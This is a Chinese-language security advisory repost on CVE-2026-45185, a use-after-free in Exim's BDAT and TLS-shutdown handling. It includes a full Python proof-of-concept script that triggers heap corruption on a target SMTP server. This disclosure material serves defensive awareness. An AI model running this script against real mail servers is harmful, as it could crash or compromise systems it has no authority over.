
0x00 前言
Exim是一款功能强大的开源邮件传输代理(MTA),专为类Unix系统设计,广泛用于邮件的接收、路由和投递。它以高度可配置性、稳定性和安全性著称,支持多种邮件协议扩展(如 SMTP、BDAT/CHUNKING),并提供灵活的过滤规则和访问控制机制。Exim在全球数百万台服务器上运行,是互联网邮件基础设施的重要组成部分。
BDAT(Binary Data)是SMTP CHUNKING扩展定义的命令,用于将邮件正文分块传输。在Exim中,BDAT允许客户端将邮件内容拆分为多个二进制块发送,每个块带有长度标识和可选的最后块标记(LAST),服务器收到所有块后组装完整邮件。相比传统的DATA命令,BDAT更适合传输大邮件和二进制附件,支持更好的流控和错误恢复。
0x01 漏洞描述
核心问题在于TLS会话关闭与BDAT输入处理栈之间的状态不同步。
当客户端在BDAT(二进制数据)消息体传输过程中发送TLS close_notify告警,随后在同一TCP连接上发送明文字节时,Exim的TLS会话关闭逻辑会释放内部缓冲区,但嵌套的BDAT接收包装器仍在处理后续数据,导致ungetc() 函数将字符写入已释放的内存区域,造成堆内存损坏,攻击者可利用此漏洞实现远程代码执行。
0x02 CVE编号
CVE-2026-45185
0x03 影响版本
Exim 4.97–4.99.2(仅GnuTLS构建版本,OpenSSL构建不受影响)
触发条件:
开启STARTTLS+CHUNKING(BDAT)扩展(默认开启)0x04 漏洞详情
POC:
https://exim.org/static/doc/security/EXIM-Security-2026-05-01.1/
#!/usr/bin/env python3
import argparse
import socket
import ssl
import time
EARLY_TLS = b"\r\n\r\nA"
LAST_TLS_BY_LOWBYTE = {
1: b"B",
2: b"BC",
}
CLEAR_TAIL_BY_LOWBYTE = {
1: b"C",
2: b"D",
}
def recv_reply(sock: socket.socket) -> list[str]:
lines: list[str] = []
while True:
data = b""
while not data.endswith(b"\n"):
chunk = sock.recv(1)
if not chunk:
raise RuntimeError("connection closed while reading SMTP reply")
data += chunk
line = data.decode("latin1", "replace").rstrip("\r\n")
lines.append(line)
if len(line) < 4 or line[3] != "-":
return lines
def send_cmd(sock: socket.socket, cmd: str) -> list[str]:
sock.sendall(cmd.encode("ascii") + b"\r\n")
return recv_reply(sock)
def print_reply(tag: str, lines: list[str]) -> None:
print(f"[{tag}]")
for line in lines:
print(line)
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("--host", default="127.0.0.1")
parser.add_argument("--port", type=int, required=True)
parser.add_argument(
"--low-byte",
type=int,
choices=(1, 2),
required=True,
help="1 = least-significant byte of bk, 2 = second least-significant byte",
)
parser.add_argument("--sleep-before-bdat-ms", type=int, default=0)
args = parser.parse_args()
last_tls = LAST_TLS_BY_LOWBYTE[args.low_byte]
clear_tail = CLEAR_TAIL_BY_LOWBYTE[args.low_byte]
message = EARLY_TLS + last_tls + clear_tail
client = socket.create_connection((args.host, args.port), timeout=3)
client.settimeout(3)
print(f"[message_len] {len(message)}")
print(f"[low_byte] {args.low_byte}")
print(f"[early_tls_len] {len(EARLY_TLS)}")
print(f"[last_tls_len] {len(last_tls)}")
print(f"[clear_tail_len] {len(clear_tail)}")
print(f"[message_ascii] {message!r}")
print_reply("banner", recv_reply(client))
print_reply("ehlo1", send_cmd(client, "EHLO first"))
print_reply("starttls", send_cmd(client, "STARTTLS"))
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
tls = ctx.wrap_socket(client, server_hostname="poc.test", do_handshake_on_connect=True)
print_reply("ehlo2", send_cmd(tls, "EHLO inside"))
print_reply("mail", send_cmd(tls, "MAIL FROM:<sender@outside.test>"))
print_reply("rcpt", send_cmd(tls, "RCPT TO:<local@local.test>"))
if args.sleep_before_bdat_ms:
print(f"[sleep_before_bdat_ms] {args.sleep_before_bdat_ms}")
time.sleep(args.sleep_before_bdat_ms / 1000.0)
# The last TLS record size drives stale lwm/hwm. Keep only one clear byte
# after close_notify so the allocator state stays close to the hot path.
tls.sendall(f"BDAT {len(message)} LAST\r\n".encode("ascii"))
tls.sendall(EARLY_TLS)
tls.sendall(last_tls)
tls.setblocking(False)
try:
tls._sslobj.shutdown() # type: ignore[attr-defined]
except Exception as exc:
print(f"[shutdown_exc] {exc!r}")
tls._sslobj = None # type: ignore[attr-defined]
raw = socket.socket(fileno=tls.detach())
raw.settimeout(2)
print("[clear_tail]")
print(repr(clear_tail))
raw.sendall(clear_tail)
try:
while True:
print_reply("reply", recv_reply(raw))
except Exception as exc:
print(f"[closed] {exc!r}")
finally:
raw.close()
return 0
if __name__ == "__main__":
raise SystemExit(main())
0x05 参考链接
https://exim.org/static/doc/security/EXIM-Security-2026-05-01.1/
https://xbow.com/blog/dead-letter-cve-2026-45185-xbow-found-rce-exim
Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持